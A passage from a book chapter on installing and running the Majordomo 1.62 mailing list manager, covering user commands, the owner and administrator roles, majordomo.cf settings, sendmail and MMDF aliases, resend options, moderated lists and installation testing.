+from the CD-ROM that comes with the book "UNIX Power Tools." (For more +information about Perl, see the Nutshell Handbooks "Learning Perl" by +Randal Schwartz and "Programming Perl" by Larry Wall and Randal +Schwartz.) + +Majordomo's developer and maintainer, Brent Chapman, developed +Majordomo for his own purposes (managing the mailing lists for SAGE, +the System Administrators Guild). He didn't try to make the software +do everything a list server could possibly do. Majordomo is popular +anyway; it's good software that fills a real need. This chapter covers +Majordomo version 1.62, which is available free via ftp. + +One of Majordomo's real strengths is its relative simplicity. You can +figure it out in a few hours. ListProcessor, another major mailing +list management system, requires much longer--so much so that we +couldn't cover it effectively in a book of this size. We've left it +for another book. But if you intend to manage huge lists, +ListProcessor provides lots of useful features that can make it well +worth the effort. We use ListProcessor for our company mailing lists. +Chapter 1 has a short comparison of Majordomo and ListProcessor. + +A good way to learn more about Majordomo is by subscribing to the +majordomo-users mailing list. Send a subscription request to +majordomo@greatcircle.com--see "A User's View of Majordomo", below, +for instructions. (Another list on the same host, majordomo-announce, +announces new versions of Majordomo as well as bug fixes. The +majordomo-workers list is for people who develop Majordomo.) + +The first section of this chapter gives an overview of Majordomo as it +is seen by users, list owners, and administrators; it also mentions a +planned new release, Majordomo 2.0. Then comes installation, creation +of lists, and testing. Finally there's a description of how to run and +maintain a list. + + +AN OVERVIEW OF MAJORDOMO + +Before we dip into the intricacies of setting up and running Majordomo +mailing lists, it will be helpful to get an overview of how it works +from the user's perspective, how the list owner manages a list, and how +the various programs that make up the Majordomo package work together. + + +A User's View of Majordomo + +First here's a user's guide to the Majordomo package. (Actually, this +is an introduction to majordomo, the program which provides all of +these functions.) It explains subscription, unsubscription, and all +the other Majordomo commands available to users. It also includes some +notes for the person running the list about who has permission to use +some commands. (The section "List Server Software" in Chapter 1 shows +how users interact with a list server.) + +A user can subscribe to a list, or ask about his or other users' +subscriptions, by sending mail to the majordomo server, usually +majordomo@hostname. Put the commands in the body of the mail message +(not on the "Subject:" header component). Other than white space, the +commands must be the first text in the message body; in other words, +don't begin with "Dear Majordomo." + +In the sections below, items in brackets ([]) are optional. If you +include the optional item, don't type the brackets. + +- help + + Sends one-line summaries of majordomo commands. The first line of + output tells you which version of Majordomo the server is running. + +- info list + + Sends an introduction to the list "list". + +- lists + + Shows the lists served by this majordomo server. + +- subscribe list [address] + + This command subscribes a user to the named "list". Unless the user + includes the optional "address", Majordomo will use the e-mail + address in the mail message header ("Reply-to:", if any, otherwise + "From:") to send mail to the user. + +- unsubscribe list [address] + + This unsubscribes the user (or "address") from "list". + +- which [address] + + Tells the lists to which the user (or "address") is subscribed. + +- who list + + Lists the subscribers of "list". + +- index list + + Gives a listing of files in the "list" archive. If the list is + private, only members can run this command. Only for Majordomo + versions 1.54 and later. + +- get list filename + + Mails a file named "filename" from the "list" archive. If the list + is private, only members can run this command. Only for Majordomo + versions 1.54 and later. + +- end + + Stops reading the message. This is useful for users whose mailer + adds text (like a signature) to the end of a message. + + A line that starts with a dash (-) is also treated as an "end" + command by newer versions of Majordomo. Because many peoples' mail + message signatures start with some dashes, this avoids error + messages. + + +Majordomo for List Owners + +The list owner is the person (or persons) who will run day-to-day +operations of a mailing list by responding to mail messages from +Majordomo. Each mailing list operated by Majordomo can have its own +list owners. + +Majordomo has "open" and "closed" lists. A subscriber to an open list +will be approved automatically unless they specify an "address" +different from the one in their e-mail header. All subscriptions to +closed lists will be sent to the list owner for approval. + +If you'd like a list with the absolute minimum of maintenance (but also +a minimum of security), you could create an "auto" list. All +subscription or unsubscription requests will be honored without any +input from the list owner. For example, anyone could unsubscribe +anyone else. + +Majordomo also has "public" and "private" lists. In a public list, +subscribers have access to information about other subscribers through +the "who" and "which" commands; in a private list, they don't. When a +list is private, only subscribers can use the archive commands "index" +and "get". + +The owner can potentially receive four types of messages: requests to +approve subscriptions (or unsubscriptions), requests to approve +messages to the list, notifications of successful subscriptions or +unsubscriptions, and bounces (messages sent to the list that weren't +delivered). Which of these the owner receives, and how many, depends +on the setup of the list (and of course, how many members the list +has). Majordomo provides the "approve" script to help handle approval +of subscriptions and messages, and "bounce" to help handle bounces. + + +Majordomo for Administrators + +The administrator in this context is the person who installs Majordomo, +creates new lists, or changes the settings (moderated or not, private +or public, etc.) of existing lists. Unlike a list owner, the +administrator needs to have direct access to the system where Majordomo +is running. In many cases, the list owner and the administrator are +the same person, but they don't need to be. + +Majordomo is actually a suite of Perl scripts, not just one. In this +chapter, the name Majordomo (with an uppercase "M") refers to the whole +package of programs and files. majordomo (with a lowercase "m") means +the individual program with that name. Here is an outline of what each +program and file in the Majordomo package does: + +- "majordomo" (the program itself) is run each time a message arrives + for the address majordomo@hostname. It figures out what approval is + necessary and sends mail to the list owner as necessary, or simply + performs the requested commands. Unlike a lot of system services, + majordomo doesn't run constantly (as a daemon). It's started by your + system MTA when a message comes in. The disadvantage is that you + don't have much control over Majordomo on a busy system. The + advantage is that there's no daemon process to crash. + +- "resend" - When a message arrives to appear on a list, "resend" + checks the message according to its command line options. If the + message must be approved or if there are other problems, the message + is forwarded to the list owner. Otherwise, "resend" edits the + header, then hands the single message to the computer's MTA for + distribution to the list. "resend" rewrites headers of messages but + uses the system's mail transfer agent (MTA) for mail delivery to the + lists. + +- The "wrapper" program allows other Majordomo programs to run as a + "trusted user"--so programs can set the correct envelope sender + address. It's the only part of the Majordomo package that's written + in the C language. (The rest is in Perl.) + +- The "bounce" script helps owners handle subscribers whose mail is + bouncing. The "bounce-remind" script tries to notify those + subscribers about the problem. + +- The "approve" script is also for owners. It simplifies approval of + subscriptions or moderated messages. + +- "new-list" answers mail sent to a new list. Its replies ask people + to wait to send messages until the list owner opens the list for + business. + +- "request-answer" answers mail to the address "listname-request" + (see Chapter 2). The replies tell people to mail to majordomo--and + how to find out more about the server. + +- "majordomo.cf" sets the configuration of the Majordomo system. + +You can control whether a list is open, public, moderated, and several +other aspects of a list by creating files of the form +"listname.option". For example, to make a closed list, you simply +create an empty file called "listname.closed". (This will change in +Majordomo 1.90; you'll use an overall configuration file for each list +instead.) + +The owner is notified of all successful "subscribe" and "unsubscribe" +actions. If you don't want the owner to be notified, you can edit two +subroutines in the majordomo script: "welcome" sends subscription +notices; "do_unsubscribe" sends unsubscription notices. + + +Majordomo 2.0 is Coming + +Since late 1993, people have been working on major revisions to +Majordomo. A new version, 1.90, should be ready by the time this book +is printed. Version 1.90 has a new config file format and includes the +"digest" program as part of Majordomo. A list of the planned changes +for list owners is in the section called "Majordomo Commands for List +Owners". + +Majordomo 2.0 isn't cast in stone yet. Besides the changes in version +1.90, above, some of the major changes in version 2.0 will probably +be: + +- The local site can define new Majordomo commands and add to existing + commands. For instance, a site could change the "unsubscribe" + command to let users subscribe from all lists by sending + "unsubscribe *". + +- Replies can be edited automatically. For instance, large replies + could be split into a series of smaller messages. + +- The "help" command will take arguments. Instead of getting help for + all commands, a user could get help for just the "subscribe" command + by sending "help subscribe". + + + +INSTALLING MAJORDOMO + +In general, if you have a recent version of Perl on your UNIX system, +majordomo should work too. You'll need to set up the "majordomo.cf" +file, and maybe tweak a couple of the scripts. You'll also need a C +compiler for the "wrapper" program (although you can work around that +by copying a compiled version of "wrapper" from someone else who has +the same computer and operating system). But because the system is so +simple and the code is so straightforward, it isn't hard to solve +problems (especially if you've joined the majordomo-users mailing +list). + +In the directions below, a name like $whoami is a Perl variable. Most +variables I cover are defined in the "majordomo.cf" file (see below). + +**NOTE** Although I show a step-by-step procedure here, I can't promise +you that the following steps are exactly what you need for your +computer. Your system might be different. You may have a different +version of Majordomo than the one I installed. Please use these steps +as a GUIDE only. + +Here are the steps: + +1. Be sure that your system has Perl version 4.035 (or later) and its + libraries. + +2. Some sites give majordomo another name ("listmgr", "lists", etc.). + I don't recommend doing that unless you have a good reason: + especially as more documentation about Majordomo becomes available, + users may just get confused by giving the system other names. + Also, after Majordomo upgrades, you'll have to patch the system + again. + + If you decide to change the name, edit all of the code references + to majordomo that are visible to users. For example, change the + subject of mail messages that say "Majordomo results." You don't + need to change filenames like "majordomo.cf". You definitely + shouldn't change the help file line that says "This is the + Majordomo listmanager written by Brent Chapman." + +3. Pick a username, group name, and home directory for Majordomo. + A good name for both user and group is "majordom" (but not + "majordomo"; it's over the 8-character limit). I made the home + directory /usr/local/majordomo. + + As superuser, add that user and group to /etc/passwd and + /etc/group. Make the home directory, set its owner and group to + "majordom", and set its mode to 775. + + If the person who manages Majordomo doesn't want to "su" to + "majordom", you should add the manager's account to the "majordom" + group. (I think it's not a good idea to maintain Majordomo as the + superuser; permissions and ownerships can accidentally be set + wrong.) If there are list owners on the system, and if they should + be doing routine maintenance, add them to the "majordom" group, + too. + +4. Set up the Majordomo directory structure. Although I like to keep + all of Majordomo and its list files under Majordomo's home + directory, you don't have to. The structure is flexible; you can + separate the programs and the lists if you want to (see the sample + majordomo.cf file a few steps ahead). Here's the structure I'm + using. + + My home directory holds the $log file and the majordomo.cf + configuration file. The subdirectories are: + + - "archive" has subdirectories that hold list archive files. + + - "bin" is where I extracted the Majordomo distribution file: + executable scripts and documentation are here. The documentation + and sample configurations are in a subdirectory named "Doc"; you + might want to move some or all of it somewhere else. + + - "lists" has the files for the lists: subscribers, passwords, and + so on. + + If you aren't installing all of Majordomo in its home directory, + create the other directories now and set their ownership. Create + an empty $log file with owner & group "majordom" and mode 664. + +5. Now you can "su" to the new "majordom" account. (Most of the rest + of the installation doesn't need to be done as root.) + +6. Get a Majordomo distribution file from ftp.greatcircle.com in the + pub/majordomo directory. While you're there, get Brent's paper + about Majordomo (majordomo.paper.ps.Z, in compressed PostScript + format). It's titled "Majordomo: How I Manage 17 Mailing Lists + Without Answering `-request' Mail". The paper has an interesting + overview of how and why he wrote Majordomo, as well as an + introduction to Majordomo for users and administrators. The + Majordomo version it covers is fairly out of date now. To find out + about any new documentation, read the "Changes" file in the + Majordomo distribution. + + In the directory /pub/majordomo/archive are monthly archive files + of all the articles posted to the majordomo mailing lists. They're + worth browsing through someday in your copious free time. There's + lots of information that we don't have the room to cover in this + book. + +7. Extract the Majordomo distribution file into whatever directory you + chose. + + Each Perl script starts with a line that contains the pathname of + the Perl interpreter on Brent's system. If your Perl is in a + different place, you'll need to edit all the script files that + start with "#!" and fix that line. For instance, if your Perl + executable is /stuff/bin/perl, change the first lines to look + like: + + #!/stuff/bin/perl + + Note that the version of "resend" with Majordomo 1.62 (and probably + others) has a "-U" option at the end of the "#!" line. Don't + forget it. + +8. You might want to look through each program for an idea of how it + works. At least, read the "README", "Description", and + "resend.README" files. The "Changes" file also explains some + things that the other files don't. The Doc/samples directory has + samples of files for different list configurations. + +9. Configure Majordomo. Copy the sample.cf to become the majordomo.cf + file. Edit majordomo.cf to set the locations of directories and + files. This is Perl code, so each line (except comments) has to + end with a semicolon (;): + + # $whereami -- Hostname to advertise for machine I'm running on: + $whereami = "ora.com"; + + # $whoami -- Address for users to send my requests: + $whoami = "Majordomo@$whereami"; + + # $whoami_owner -- owner of the above, in case of problems: + $whoami_owner = "Owner-Majordomo@$whereami"; + + # $homedir -- Directory with my extra .pl files, like + # majordomo.pl, shlock.pl, and majordomo_version.pl: + $homedir = "/usr/local/majordomo/bin"; + + # $listdir -- Directory with files for mailing lists: + $listdir = "/usr/local/majordomo/lists"; + + # $log -- Full pathname of the log file I write: + $log = "/usr/local/majordomo/Log"; + + # $mailer -- Program and arguments I use to send mail: + $mailer = "/usr/lib/sendmail -oi -f\$sender \$to"; + + # Majordomo will look for "get" and "index" files related to $list + # in directory "$filedir/$list$filedir_suffix": + $filedir = "/usr/local/majordomo/archive"; + $filedir_suffix = ""; + + # $index_command -- Command for processing an "index" request. + # Majordomo does chdir("$filedir/$list$filedir_suffix") first. + # This one makes a little heading without permissions, links, + # or owner name. This won't work if you use ls -lRL instead: + $index_command = "/bin/ls -lL | \\ + /bin/sed -e 's/^......................//' \\ + -e '1s/.*/ SIZE DATE NAME/'" + + # If you want to use FTPMAIL, rather than local access, for + # file transfer and access, define the following: + # $ftpmail_address = "ftpmail@decwrl.dec.com"; + # $ftpmail_location = "FTP.$whereami"; + + The sendmail "-f\$sender" sets the message's "envelope sender" + address. The backslash (\) makes sure the Perl variable $sender, + which is set by "resend", isn't interpreted until the mail is + sent. In the same way, the "\$to" is replaced with the destination + address. The "-oi" option tells sendmail not to quit if it sees a + line with just a dot (.). If you have big lists or a busy system, + you might also add "-odq" to queue all messages instead of trying + to deliver them immediately. + + Of course, if you don't have sendmail, use a command for sending mail + with your system's MTA. + + I've also hacked the $index_command to make a simpler archive index + than the default "ls -lRL" command does. This makes the output + more user-friendly for users who don't know UNIX, but it won't work + if a list's archive has sub-archives (subdirectories). + +10. Majordomo looks for its configuration file in /etc/majordomo.cf + unless you set the W_MAJORDOMO_CF variable for "wrapper" that makes + it look somewhere else. My personal preference is to keep master + copies of my local files off of /etc, so I made a symbolic link + from /etc/majordomo.cf to /usr/local/majordomo/majordomo.cf. + +11. Install the "wrapper" program. It lets the majordomo script run as + a "trusted user." On non-POSIX systems, that's normally the user + "daemon"; on POSIX systems, it's "root". + + Edit the Makefile and set the "make" macros W_BIN and + W_MAJORDOMO_CF for "wrapper". W_BIN should point to the same + directory as $homedir in the majordomo.cf file. Give + W_MAJORDOMO_CF the absolute pathname of the majordomo.cf file. + Also check W_PATH, W_HOME, W_SHELL; they set the environment + variables PATH, HOME, and SHELL, respectively, during "wrapper". + If you're using a POSIX system, remove the comment characters from + the front of the POSIX section and add them to the non-POSIX + section. + + Some day the "wrapper" program may be eliminated. If you're using + a version of Majordomo newer than version 1.90 and "wrapper" is + missing, see the "Changes" file. + + Go back to the superuser account. (If your shell has job control + and the "suspend" command, that's an easy way to drop back to + "root". [That's assuming you originally typed "su majordom" from + the "root" account.] When you're ready to be "majordom" again, just + use "fg".) Run "make" to build the "wrapper" program. If you + decided to install "wrapper" somewhere other than the current + directory, run "make install". + +12. You may want to copy or move the online manual pages from the + Doc/man directory to your system's online manual page area. + +13. While you're the superuser, edit the MTA alias file to add aliases + like these: + + owner-owner: postmaster + # + # Majordomo + # + majordomo: "|/usr/local/majordomo/bin/wrapper majordomo" + majordom: owner-majordomo + majordomo-owner: jerry + owner-majordomo: majordomo-owner + + (There's a sample MMDF aliases file in the section "For MMDF + Systems", below.) + + If your "aliases" file doesn't have an "owner-owner" alias, we + recommend it (actually, the Nutshell Handbook "sendmail" does). + Using this special alias will help to find any problems with the + zillions of other "owner-xxx" aliases that you'll be adding as you + configure Majordomo lists. Errors in any "owner-" alias will go to + the system postmaster. + + The setup of the similar-looking "xxx-owner" and "owner-xxx" + aliases is important if you use sendmail version 8. The setup + above makes the envelope sender address "majordomo-owner" instead + of a person's address (here, "jerry"). See the section of Chapter + 2 called "Envelope Sender in Sendmail Version 8". + + Notice that the "majordomo" alias doesn't have the absolute + pathname of the majordomo program. For security, the absolute + pathname is hardcoded into the "wrapper" binary. If you move the + majordomo program, the alias won't work until you recompile + "wrapper". + + Be sure that mail sent to the "majordom" user is routed somewhere. + A sendmail alias could route it to "majordomo" (a good choice if + you'll be getting much mail from systems that truncate mail + addresses to an 8-character length). The alias above routes + "majordom" mail to the person in charge of Majordomo. You could + also use a program like "canned_reply" (see Chapter 1). + + If this sendmail alias file is shared by more than one host, and + they won't all be running the same Majordomo setup (which isn't + likely), you've got some configuring to do. The section of Chapter + 2 called "Problems with Your Local Network" has some tips. + + If your system needs it, run "newaliases" to rebuild the alias + database. + +14. You or list owners may want to have a "bounces" mailing list set + up. If you do, this is a good time to add the aliases and make the + list files. (See the section below named "Setting Up Lists".) + +15. I edited the "request-answer" program to change the mail message + it sends. + Now the message also explains other e-mail addresses at our company. + +Before you turn your users and list owners loose on the system, set up +at least one list and test your system. The section below explains how +to do that. + + +SETTING UP LISTS + +Once you've got Majordomo installed, you'll want to create one or more +mailing lists. The following sections provide a step-by-step procedure +for creating a mailing list, how to make a list moderated, and how to +test the list to make sure it's working. + + +Creating a New List + +New lists are created by adding files to the $listdir directory (named +in majordomo.cf) and by making entries in your MTA aliases file. Here +are the steps: + +1. Pick a name for the list: letters, digits, underbars (_), or dashes + (-) only. To avoid confusing users, it's a good idea not to use + both underbars and dashes for your system's listnames. Choose one + or the other, then use it consistently. + +2. Decide who'll own the list. The address of this person (or + persons) will go on the "listname-approval" and "listname-owner" + aliases for the list. + +3. The owner should pick the subscription approval password. Store it + in the "listname.passwd" file in the $listdir directory. Use + "chmod" to set the file mode to 660. As for all other Majordomo + files, be sure that the group owner is "majordom". + +4. The owner should write a description of the list to be mailed out + for "info" requests and for new subscriptions. Store the + description in the "listname.info" file in the $listdir directory. + (Hint: a good description in the "info" file will save you time by + avoiding questions later.) Set the file mode to 664. + +5. If you want the list to be archived, create a file in the archive + area. Optionally, create an archive directory for the list, in the + location specified by the $filedir and $filedir_suffix variables. + Set the file mode to 664. + +6. Set the subscription policy. If the list owner wants all requests + to be approved automatically, including requests by any user to + subscribe or unsubscribe any other user, create an empty file named + "listname.auto" in the $listdir directory. The list owner will + still be notified when people subscribe or unsubscribe but won't + have to approve them. + + If there isn't a "listname.auto" file, non-routine subscriptions + (requests by any user to subscribe or unsubscribe any other user) + will be sent to the list owner. Routine subscriptions will be + approved automatically (unless there's a "listname.closed" file; + see below). + + A "closed list" requires the list owner to approve all + subscriptions. To close a list, create an empty file named + "listname.closed" in the "lists" directory. To open the list, + remove that file. + +7. Decide whether you want to include comments in the subscriber + list. Normally, Majordomo stores the complete address it gets for + each subscriber. That includes comments like "Jerry Peek" or + "(Phone 123-4567, FAX 234-5678)". These can help you (and other + people) find subscribers when the e-mail address isn't enough. If + you create an empty file named "listname.strip" in the $listdir + directory, comments won't be stored with addresses. + +8. By default, anyone (even non-subscribers) can use the commands + "who", "which", "index", and "get" on a list. If you create an + empty file named "listname.private" in the $listdir directory, only + members of the list can use those commands. + +9. Make a file in the $listdir directory to hold the list's + subscribers. The filename is the same as the listname. + +10. Set up list distribution. The "resend" script, run by the + "wrapper" program, receives and distributes mail for each list. + (Strictly speaking, you don't need "resend" for a simple list. You + can let majordomo manage the subscriber list and use a simple + sendmail alias to distribute messages. But unless you have a + problem with "resend", its features will usually be a help.) + + The table below explains the "resend" options you can use; the only + required options are "-l" (the list name) and "-h" (the host name). + Pick the options and settings you'll use; there are examples below. + You should probably check the "resend.README" file for any changes + in this list of options. + + - "-C config-file" names an alternate configuration file that only + "resend" uses. The default is the main majordomo.cf file. + + If you use the "-C" option, it MUST BE THE FIRST OPTION given. + + - "-l list-name", which is required, gives the name of the mailing + list. + + - "-h host-name", which is required, gives the fully-qualified + domain name of the computer running Majordomo. + + - "-A" makes the list moderated. To create a moderated list, see + the section below called "Making a Moderated List". (Use the + "-a" option, too.) Also see the "-I" option. + + - "-a password" sets the approval password for moderated lists + and other messages that have been rejected for some reason. + (If the list will be moderated, use the "-A" option, too.) + + If the argument starts with a slash (/), it's used as the + pathname to a file that contains the password. If your MTA has + an SMTP VRFY command, use a pathname for security; see the + section "Making a Moderated List". + + - "-d" sets debugging: instead of running the commands, "resend" + writes the command lines it would run to its standard output. + + - "-f from-address" is used as the "envelope sender" address for + messages on the list. (See the part of Chapter 1 called "`From ' + vs. `From:'".) It's also the "approval address" used for any + message that "resend" needs to bounce to the list owner. If you + don't give "-f", the default address is "listname-request". + + - "-I filenames" is used to restrict who can post to a list. The + "filenames" argument is a list of one or more files, separated + by colons (:), in the $listdir directory. The files contain + addresses that are allowed to send messages to the list. If the + message doesn't have a valid "Approved:" header and the sender's + "From:" address isn't on this list, the message will be bounced + to the list owner. + + For example, a company might want a general announcements list + that only a few employees should send messages to. Instead of + making the list moderated (which would add overhead) they can use + the name of a file with the addresses of people who are approved + to send mail to the list. This isn't very secure because any + user can forge a "From:" address easily. Still, this is an easy + way to stop messages (replies, for example) from being sent to + the list accidentally. It also doesn't require all the people + who post to know the article approval password. + + - "-m sendmail-flags" is the place to store any sendmail flags you + want used when mail is sent to the list. For example, "-m -odq" + will queue messages instead of trying to deliver them + immediately. To use more than one sendmail option, put single + quotes around the options--for example, "-m '-odq -oi'". + + - "-M maximum-message-length" is the maximum message size, in + bytes, that "resend" will send to the list. Bigger messages are + forwarded to the list owner for approval. + + - "-p precedence" will add a "Precedence: precedence" header + component to messages. Many lists use "-p bulk". (See the + section of Chapter 1 called "Bounced Mail".) + + - "-R" will delete "Received:" header components on incoming + messages. + + - "-r reply-to" will add a "Reply-To: reply-to" header component. + + - "-s" enables "administrivia" checks. With this option, "resend" + does two checks of each message. If the message's subject has a + word that ends in "subscribe" or "unsubscribe", upper or lower + case, it will be bounced. Also, if the first five lines of the + message body have the words "add me", "delete me", "subscribe", + "sub", "unsubscribe", or "unsub", upper or lower case, anywhere + in those lines, the message will be bounced. + + The list owner can bypass the administrivia checks by adding a + valid "Approved:" header and re-sending the message to the list. + +11. Add list aliases to the sendmail (or other MTA) aliases file. Here + are some for an unmoderated, archived list named "sample" on the + host foo.com.au: + + # + # Sample mailing list + # + owner-sample: sample-owner + sample: "|/usr/local/majordomo/bin/wrapper resend -p bulk -M 10000 + -R -l Sample -f Sample-Owner -h foo.com.au -s sample-outgoing" + sample-owner: jerry + sample-approval: sample-owner + sample-outgoing: + :include:/usr/local/majordomo/lists/sample, sample-archive + owner-sample-outgoing: sample-owner + sample-archive: /usr/local/majordomo/archive/sample/sample + owner-sample-archive: sample-owner + sample-request: + "|/usr/local/majordomo/bin/wrapper request-answer sample" + owner-sample-request: sample-owner + + (There's a sample MMDF aliases file in the section "For MMDF + Systems", below.) + + The aliases are: + + - "listname-owner" (and "owner-listname", which points to it) is + the list owner, the person (or people) in charge of the list. A + lot of the other aliases can point to this one. + + As Chapter 2 explains, sendmail uses the "owner-xxx" aliases for + errors. Majordomo uses the "xxx-owner" aliases. (Actually, an + "xxx-owner" alias isn't used by Majordomo itself--but aliases + that Majordomo uses are set up to point to "xxx-owner".) + + - "listname" runs the "wrapper" program to set the correct + permissions. Then "wrapper" starts "resend" to send the message + to the list. (Brent wants to get rid of "wrapper" some day.) + + This is where the "resend" options are set (see the list above). + The alias ends with the distribution address (here, + "sample-outgoing"). + + Here's a useful trick from Brent Chapman. Some versions of + sendmail have a 256-character length limit for aliases. A + "resend" line with a lot of arguments can easily go over that + limit. To solve this, you can put all the "resend" arguments in + a file called "listname.resend". Set up the alias with + backquotes (grave accents) and "cat"--like this: + + sample: "|/usr/local/majordomo/bin/wrapper resend + `/bin/cat /usr/local/majordomo/lists/sample.resend` + sample-outgoing" + + When sendmail interprets the alias, it will be fairly short. The + shell will run "cat"--and replace the backquoted string with the + "sample.resend" file contents--after sendmail has finished + interpreting the alias. + + Another advantage of this is that the majordomo administrator can + change the list's "resend" configuration without editing the + system aliases file. + + - "listname-approval" is the person (or people) who approves + subscriptions to closed lists, subscriptions or unsubscriptions + at a different address, and mailings to moderated lists. This + can usually point to "listname-owner". + + - "listname-outgoing" is the actual list of people subscribed to + the list. The sendmail ":include:" directive reads the + subscribers list at the time a message is sent. If the list is + archived, add the name of the archive alias (like + "listname-archive") too. + + - Optional (I recommend it): By convention, many Internet mailing + lists have a subscription address of "listname-request". + Although your list doesn't use that address (it uses + "majordomo"), the "request-answer" program can answer mail sent + to that address. You may want to edit the "request-answer" + program to send a different message--for example, to give + information about places to get help and information (local + addresses, phone numbers, etc.) at your company. + + - Optional: The "new-list" script can answer mail sent to the list + for the first few days. The message asks people to wait to post + messages for a few days until most subscribers have joined the + list. "new-list" also returns the sender's message. + + To install "new-list", "comment out" the "listname" alias and put + "new-list" in its place temporarily: + + # sample: "|/usr/local/majordomo/bin/wrapper resend -p bulk -M 10000 + # -R -l Sample -f Sample-Owner -h foo.com.au -s sample-outgoing" + sample: "|/usr/local/majordomo/bin/wrapper new-list Sample" + + After a few days, the system administrator should install the + permanent list alias. The owner should send an announcement that + the list is "open for business." + + Most of the alias names starting with "owner-" tell sendmail where + to send errors caused by the corresponding alias. For example, if + there's a problem with the "sample-archive" alias, sendmail will + complain to "owner-sample-archive". These "owner-" aliases will + usually be easier to maintain if you point them to an overall alias + (like "owner-sample" or "postmaster") instead of a particular user + (like "jerry"). + + As before, if this sendmail alias file is shared by more than one + host, and they won't all be running the same Majordomo setup, there + are tips in the section of Chapter 2 called "Problems with Your + Local Network". + +12. Make sure everything is owned by user "majordom", group "majordom", + and writable by both owner and group (that is, mode 664 for files + and mode 775 for directories). In a lot of cases, files and + directories don't need world access; you can use modes 660 and + 770. But check and test carefully; it's better to leave everything + world-readable unless you're sure things work okay without it. + + If you need to be very careful about permissions, think about how + each file will be read and written. Many files are accessed by + programs invoked from "wrapper"; those files only need permission + for access by "wrapper"'s UID and GID. Files that will be written + by users logged on interactively (like the list administrator) may + also need write permission for the "majordom" group. Files written + directly from a sendmail alias (the list archive files) probably + need world write permission because of the variety of UIDs and GIDs + that sendmail may run as. + + +For MMDF Systems + +The examples in the steps above are for systems with the sendmail MTA. +Here are examples for systems that use the MMDF MTA. (Thanks to Morna +Findlay for these examples.) The leading name "majordom|" means the +"majordomo" and "sample" aliases will run as the user "majordom". This +is from the MMDF aliases file: + + majordomo: "majordom|/usr/local/majordomo/bin/wrapper majordomo" + owner-majordomo: jerry + majordomo-owner: jerry + +Now, for the sample mailing list, here are entries from the MMDF +"lists" file. In MMDF, mailing lists have their own channel: + + sample: sample-outbound@list-channel + sample-outbound: :include:/usr/local/majordomo/lists/sample + sample-request: "majordom|/usr/local/majordomo/bin/wrapper request-recording sample" + sample-approval: jerry + owner-sample: jerry + + +Making a Moderated List + +A list owner may want to approve every message before it goes to the +list. The list might distribute official company statements, or begin +to carry lots of inappropriate messages and "noise" that subscribers +don't want to see. One common reason is that people accidentally send +subscription requests to the list itself instead of to the "majordomo" +address. Having one person filter these out can potentially save +thousands of people from wasting time on them. (Also see the "resend +-s" and "-I" options.) + +To make a list moderated, add the options "-A" and "-a password" to the +list's alias (its "resend" command) in your system alias file. The +argument to "-a password" is the password that the list owner adds to a +message header to approve an article: + + Approved: BigSecret + +The revised list entry in the sendmail aliases file would look like: + + sample: "|/usr/local/majordomo/bin/wrapper resend -p bulk + -A -a BigSecret + -M 10000 -R -l Sample -f Sample-Owner + -h foo.com.au -s sample-outgoing" + +Like other Majordomo features, this isn't especially secure. If your +system's sendmail has a VRFY command, anyone can find the list +password. Also, the list owners can't change their article approval +password unless you (the system administrator) edit the system alias +file. An easy fix is to give the full pathname of a file, starting +with a slash (/), as the argument to the "-a" option. In the example +below, "resend" will read in the subscription approval password (from +the list's "sample.passwd" file): + + sample: "|/usr/local/majordomo/bin/wrapper resend -p bulk + -A -a /usr/local/majordomo/lists/sample.passwd + -M 10000 -R -l Sample -f Sample-Owner + -h foo.com.au -s sample-outgoing" + +Of course, you could use a different password file (instead of the list +subscription password). The advantage of using the list subscription +password for article approval is that the list owner can change both +passwords by e-mail. + +**NOTE** As mentioned before, the "-a" password isn't just used for +moderated lists. It's used to approve any message that "resend" +bounces because of things like administrivia ("-s" flag) and length +("-M" flag). + +To find out how to approve a message, see the section "Managing the +Lists", below. + + +Testing Your Installation + +You should have set up at least one list by now. A nice way to test +majordomo is with the sendmail "-v" ("verbose") switch; it shows you +what's happening. + +In case something is set up wrong, it's a good idea to have a superuser +shell ready to do some fast cleanup. + +1. Send a test "help" message to majordomo. I found a permission + problem right away: + + % echo help | /usr/lib/sendmail -v majordomo + majordomo... aliased to "|/usr/local/majordomo/bin/wrapper majordomo" + "|/usr/local/majordomo/bin/wrapper majordomo"... Connecting to via prog... + shlock: open(">/usr/local/majordomo/shlock4344"): Permission denied + at /usr/local/majordomo/bin/shlock.pl line 131, <> line 1. + shlock: open(">/usr/local/majordomo/shlock4344"): Permission denied + at /usr/local/majordomo/bin/shlock.pl line 131, <> line 1. + (error message repeated every second or so) + + Because I had a superuser shell ready, it was easy to kill the perl + process running on that terminal. I deleted the queued message from + the /usr/spool/mqueue directory, fixed the permission problem (the + home directory wasn't group-writable), and tried again. (One of + this book's reviewers told me that his system required all files be + owned by "daemon". He also had to make "daemon" the W_UID in his + Makefile. I don't see why, but there are a lot of systems out + there; this tip might help you too.) + + Majordomo sent me a help message: + + From Owner-Majordomo@ora.com Mon Aug 2 11:36:15 1993 + Date: Mon, 2 Aug 93 11:36:13 PDT + To: jerry + From: Majordomo@ora.com + Subject: Majordomo results + Reply-To: Majordomo@ora.com + + >>>> help + ... + Commands should be sent in the body of an email message to + "Majordomo@ora.com". + + Commands in the "Subject:" line NOT processed. + + If you have any questions or problems, please contact + "Owner-Majordomo@ora.com". + + Check the addresses in that message to be sure they're right. + +2. I tested the "request-answer" program by mailing to "sample-request" + (my test list was named "sample"): + + % echo help | /usr/lib/sendmail -v sample-request + ... + + Again, I checked the addresses in the returned message. In this + message and the one before, the envelope sender (shown in the "From + " or "Return-Path:" lines) should be one of the Majordomo aliases: + + From sample-request Mon Aug 2 11:41:26 1993 + Return-Path: + + That's because the "wrapper" program runs as "daemon" (or, on POSIX + systems, as "root")--and those users are on the trusted user list in + the sendmail configuration file (/etc/sendmail.cf): + + T root daemon uucp + + The trusted user settings aren't something to experiment with. If + you're having trouble getting the right envelope sender address, + check a reference for your MTA. (The Nutshell Handbook "sendmail" + should be a help if you use that MTA.) + +3. Next, be sure that your system's MTA is configured right to send + mail across a network. Go to another account on another computer, + send mail to "majordomo", then check the return addresses in the + message headers. You might ask a friend at another company to do + the same thing. + +4. Subscribe to the sample list. (I did it from another computer.) + + You should get a welcome message and a "Majordomo results" message: + + From Owner-Majordomo@ora.com Mon Aug 2 15:22:28 1993 + Date: Mon, 2 Aug 93 12:24:42 PDT + To: jerry@foobar.ora.com + From: Majordomo@ora.com + Subject: Welcome to sample + Reply-To: Majordomo@ora.com + + Welcome to the sample mailing list! + + If you ever want to remove yourself from this mailing list, send the + following command in email to "Majordomo@ora.com": + + 